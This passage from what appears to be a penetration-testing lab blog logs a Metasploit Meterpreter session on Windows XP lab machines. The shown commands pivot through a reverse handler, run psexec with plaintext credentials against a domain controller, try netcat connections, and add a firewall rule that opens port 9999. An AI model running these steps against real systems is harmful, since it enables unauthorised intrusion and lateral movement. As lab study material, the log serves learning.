102);font-family:courier new;" &gt; 636   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 688   services.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 700   lsass.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 860   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\VBoxService.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 876   svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 960   svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1056  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1116  svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1216  svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1416  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1740  tlntsvr.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\tlntsvr.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 348   explorer.exe      x86   0        TEST\usr1            C:\WINDOWS\Explorer.EXE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 480   alg.exe           x86   0                             C:\WINDOWS\System32\alg.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 572   VBoxTray.exe      x86   0        TEST\usr1            C:\WINDOWS\system32\VBoxTray.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1780  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1560  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1976  svhost77.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\svhost77.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 344   cmd.exe           x86   0        TEST\usr1            C:\WINDOWS\system32\cmd.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1776  psexec.exe        x86   0        TEST\usr1            C:\PROGRA~1\ps\psexec.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 1564 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 2 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\usr1.TEST&gt;c:\bin\whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;c:\bin\whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;TEST\usr1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\usr1.TEST&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; rev2self&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; getuid&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Server username: TEST\usr1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 1540 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 3 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\usr1.TEST&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;nc -vv -n 192.168.2.1 9999&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;nc -vv -n 192.168.2.1 9999&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;hello&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;(UNKNOWN) [192.168.2.1] 9999 (?): TIMEDOUT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;sent 0, rcvd 0: NOTSOCK&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;hello&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;'hello' is not recognized as an internal or external command,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;operable program or batch file.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-size:78%;" &gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;meterpreter &gt; ps&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Process list&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;============&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; PID   Name              Arch  Session  User                 Path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; ---   ----              ----  -------  ----                 ----&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 0     [System Process]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 4     System            x86   0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 400   smss.exe          x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 612   csrss.exe         x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 636   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 688   services.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 700   lsass.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 860   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\VBoxService.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 876   svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 960   svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1056  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1116  svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1216  svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1416  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1740  tlntsvr.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\tlntsvr.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 348   explorer.exe      x86   0        TEST\usr1            C:\WINDOWS\Explorer.EXE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 480   alg.exe           x86   0                             C:\WINDOWS\System32\alg.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 572   VBoxTray.exe      x86   0        TEST\usr1            C:\WINDOWS\system32\VBoxTray.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1780  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1560  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1976  svhost77.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\svhost77.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 344   cmd.exe           x86   0        TEST\usr1            C:\WINDOWS\system32\cmd.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1776  psexec.exe        x86   0        TEST\usr1            C:\PROGRA~1\ps\psexec.exe&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; kill 1776&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Killing: 1776&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; kill 344&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Killing: 344&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 180 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 4 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\usr1.TEST&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\server-dc -u TEST\usr1 -p usr1 tasklist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\server-dc -u TEST\usr1 -p usr1 tasklist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The network path was not found.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Couldn't access server-dc:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Make sure that the default admin$ share is enabled on server-dc.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;net use * /delete&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;net use * /delete&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;You have these remote connections:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;    Z:              \\192.168.2.1\admin$&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;                    \\192.168.2.50\IPC$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;                    \\srv-DC\IPC$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Continuing will cancel the connections.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Do you want to continue this operation? (Y/N) [N]:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;No valid response was provided.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;net use Z: /delete&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;net use Z: /delete&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Z: was deleted successfully.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\svr-dc -u TEST\usr1 -p usr1 tasklist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\svr-dc -u TEST\usr1 -p usr1 tasklist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The network path was not found.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Couldn't access svr-dc:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Make sure that the default admin$ share is enabled on svr-dc.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;ping -n 2 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ping -n 2 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Pinging 192.168.2.1 with 32 bytes of data:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Reply from 192.168.2.1: bytes=32 time=2ms TTL=128&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Reply from 192.168.2.1: bytes=32 time=5ms TTL=128&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Ping statistics for 192.168.2.1:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;    Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Approximate round trip times in milli-seconds:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;    Minimum = 2ms, Maximum = 5ms, Average = 3ms&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process list&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;============&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; PID   Name              Arch  Session  User                 Path&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; ---   ----              ----  -------  ----                 ----&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 0     [System Process]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 4     System            x86   0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 400   smss.exe          x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 612   csrss.exe         x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 636   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 688   services.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 700   lsass.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 860   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\VBoxService.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 876   svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 960   svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1056  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1116  svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1216  svchost.exe       x86   0                             C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1416  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1740  tlntsvr.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\tlntsvr.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 348   explorer.exe      x86   0        TEST\usr1            C:\WINDOWS\Explorer.EXE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 480   alg.exe           x86   0                             C:\WINDOWS\System32\alg.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 572   VBoxTray.exe      x86   0        TEST\usr1            C:\WINDOWS\system32\VBoxTray.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1780  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1560  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1976  svhost77.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\svhost77.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 1 closed.  Reason: User exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* Things had gotten all screwed up by this point, with zombie processes running on srv-dc and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;   wks-xp1 so I killed the session, killed the zombies manually, and restarted the exploit.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Started reverse handler on 192.168.1.188:31337&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;^C[-] Exploit failed:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Exploit completed, but no session was created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; jobs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Jobs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;====&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;No active jobs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; sessions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Active sessions&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;===============&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;No active sessions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Started reverse handler on 192.168.1.188:31337&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Sending stage (748032 bytes) to 192.168.1.250&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 2 opened (192.168.1.188:31337 -&gt; 192.168.1.250:62571)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] AutoAddRoute: Routing new subnet 192.168.2.0/255.255.255.0 through session 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] The 'stdapi' extension has already been loaded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 1028 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 1 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\WINDOWS\TEMP&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 "netsh advfirewall firewall add rule name="jah-netcat" dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 "netsh advfirewall firewall add rule name="jah-netcat" dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The system cannot find the file specified.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Starting netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp on srv-DC:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 "netsh advfirewall firewall add rule name="jah-netcat" di&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 "netsh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;netsh  exited on srv-DC with error code 0.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;&lt;span style="color: rgb(0, 102, 0);"&gt;/* The preceding appears weird because I had copied the command into the console, realized it was wrong, and tried to correct it. The console wouldn't let me backspace past the beginning of the line so I ended up running a "half command" via psexec. I do see that it works though. I finally got the quoting right. I think the dash in the name argument was screwing things up and needed to be quoted. */&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br 